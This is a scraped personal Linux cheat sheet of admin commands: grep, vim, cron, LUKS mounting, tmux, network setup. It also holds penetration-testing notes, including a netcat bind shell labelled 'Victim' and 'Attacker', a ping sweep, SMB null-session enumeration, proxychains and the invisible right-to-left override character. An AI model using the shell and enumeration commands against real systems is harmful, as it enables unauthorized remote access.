Linux Things I Forget Cheat Sheet

AWK
Find line number of IP
awk '­/19­7.1­28.1­45.39/{ print NR; exit }' ips.txt

CAT
With line numbers
cat -n file.txt

GREP
grep "­­hr­e­f­=" index.html | cut -d"/­­" -f3 | grep icq.com | sort -u > icqser­­ve­r.txt
Count occurences of \x in 1906.py
cat 1906.py | grep -o \x |wc -l
Find line number of IP
grep -n 197.12­­8.1­­45.39 ips.txt

Show all eth network interf­aces, e.g. eth0, eth1...
dmesg | grep ^eth

Restart Networking
sudo service networ­k-m­anager restart

Whatportis
pip install whatpo­­rtis
whatp­­ortis 21

CIDR Calcul­ation
sudo apt-get install sipcalc
sipcalc 192.16­8.1.0/24

diff file1 file2 (compare files line by line)
ndiff file1 file2 (compare 2 nmap scans for changes)

1. Power on
2. BIOS
3. MBR - 1st sector of HDD
4. GRUB
5. Kernel
6. initramfs - Initial RAM disk
7. init - /sbin/init (daemons and services)
8. Command shell using getty
9. GUI - X Windows

Disable services from loading on login
systemctl disable apache2 (disable apache from auto-s­tarting on boot/l­ogin)

http:/­/su­per­use­r.c­om/­que­sti­ons­/59­418­/ho­w-t­o-t­ype­-sp­eci­al-­cha­rac­ter­s-i­n-linux

Example - RTL Override
Hold CTRL+S­HIFT+U, then type in 202e
The invisible right-­to-left override character will be inserted and anything typed after this character will be backwards.

Create and view intera­ctive cheats­heets on the comman­d-line!

Set editor in path
nano .bashrc (in your home directory)
export EDITOR­="/b­in/­nan­o"

Install and use cheat
sudo pip install cheat
cheat netstat
Cheats­heets are stored in ~/.cheat/

Edit a cheatsheet
cheat -e foo

man ascii (show ascii table)
bc (command line calcul­ator)

Change ownership
sudo chown username filename

Clone ownership
chown --refe­ren­ce=­oth­erfile thisfile

Case insens­itive -iname
sudo find -iname fileor­fol­dername
sudo find -iname fileor­fol­der­name*

Pingsweep
echo 192.16­8.9.{2­00..250} | xargs -n 1 -P0 ping -c 1 | grep "­bytes from"

Run command against files from find
find * | xargs exiftool (Run exiftool against all files in current directory and subdir­ect­ories)

Show a directory tree
tree direct­oryname

WATCH
watch ls (run ls every 2secs)

TOP
top (view processes in detail)
htop (better altern­ative)

CRON JOBS
crontab -e (list and edit cronjobs)
Generate your crontab line easily:
http:/­/cr­ont­ab-­gen­era­tor.org/

Follow instructions at - https://certbot.eff.org/

To generate an auto-renewal cronjob - http://crontab-generator.org/

EXAMPLE:
crontab -e
17 3 * * * /root/certbot-auto renew --quiet --no-self-upgrade

Nautilus (Switch views)
CTRL+1
CTRL+2
CTRL+3
CTRL+H (show hidden)
CTRL+L (show location)

Nautilus Graphical Mode Search
ALT+F2

Deleted files go to "­~/.l­oc­al/­sha­re/­Tra­sh/­fil­es/­"
Delete or CTRL+D­elete = Move to Trash
Shift+­Delete = Permanent Delete

I / INS = Insert Mode

SELECTING TEXT
v = select range
V = select entire line
d = delete selected text

COPY/PASTE
y = copy selection
yy = copy line
p = paste before cursor

DELETE
dd = delete line
x = cut selected text
d$ = delete from cursor to end of line

UNDO / REDO
u = undo last action
CTRL+R = redo last action

EXIT
ZZ = save and quit
:w = save
:q! = quit without saving

FIND AND REPLACE
:%s/et­h0/­br0/g = find eth0 and replace with br0
:%s#</­fon­t>#­blah#g = find </f­ont> and replace with blah

Copy and Paste
ALT+6 and CTRL+U

Show line numbers
nano -c filename

To screen and file
command1 2>&1 | tee log.txt
ls -al | tee file.txt

Append to screen and file
command1 | tee -a log.txt

Victim
nc -lvvp 2345 -e /bin/bash

Attacker
nc -vn 192.16­8.1.177 2345

python
"­bla­h".e­nco­de(­'­bas­e64­')
"­YXN­jaW­kxL­nR4­dA=­=".d­eco­de(­'­bas­e64­')

http:/­/as­kub­unt­u.c­om/­que­sti­ons­/63­594­/mo­unt­-en­cry­pte­d-v­olu­mes­-fr­om-­com­man­d-l­ine­#63598
sudo apt-get install cryptsetup

Decrypt & Mount
sudo cryptsetup luksOpen /dev/sda1 my_enc­ryp­ted­_volume
sudo mkdir /media­/my­_device
sudo mount /dev/m­app­er/­my_­enc­ryp­ted­_volume /media­/my­_device

Unmount & Lock
sudo umount /media­/my­_device
sudo cryptsetup luksClose my_enc­ryp­ted­_volume

Auto-mount to Location
sudo udisks --mount /dev/m­app­er/­my_­enc­ryp­ted­_volume

MANUAL
Note: Changes are nonper­sis­tent. To make changes permanent, edit /etc/n­etw­ork­/in­ter­faces file.

ifconfig eth0 192.16­8.7­2.1­00/24 (configure IP)
route add default gw 192.16­8.72.2 (add gateway)
echo nameserver 4.2.2.2 > etc/re­sol­v.conf (add DNS to resolv.conf)

AUTO
dhclient eth0
ifconfig
killall dhclient
ps -ef | grep dhclient

http:/­/pr­oxy­cha­ins.so­urc­efo­rge.ne­t/h­owt­o.html

/etc/p­rox­ych­ain­s.conf (usage info)
proxyc­hains firefox google.com
Resolve google.com through proxy specified by proxyc­hai­ns.conf

RPCClient
http:/­/ca­rna­l0w­nag­e.a­tta­ckr­ese­arc­h.c­om/­201­0/0­6/m­ore­-wi­th-­rpc­cli­ent.html
enum4linux -U -o 192.16­8.1.200

SMBClient
smbclient -L //TARGETIP (list shares)
smbclient //TARG­ETI­P/tmp (connect to tmp folder)
smbclient -I 192.16­8.9­2.131 -R virnet.com -N -U (capital i, -R = domain, -N = no pass, -U = user)

https:­//d­ani­elm­ies­sle­r.c­om/­stu­dy/­tmux/

ssh blah@x.x.x.x
tmux
nmap -A etc...
CTRL+B, D (to exit and keep session running)

If the session dies
ssh blah@x.x.x.x
tmux attach (to connect to first available session)

apt-get install tightv­ncs­erver
vncserver
You will require a password to access your deskto­ps...
View only password? n
netstat -antp | grep vnc (usually runs on port 5901)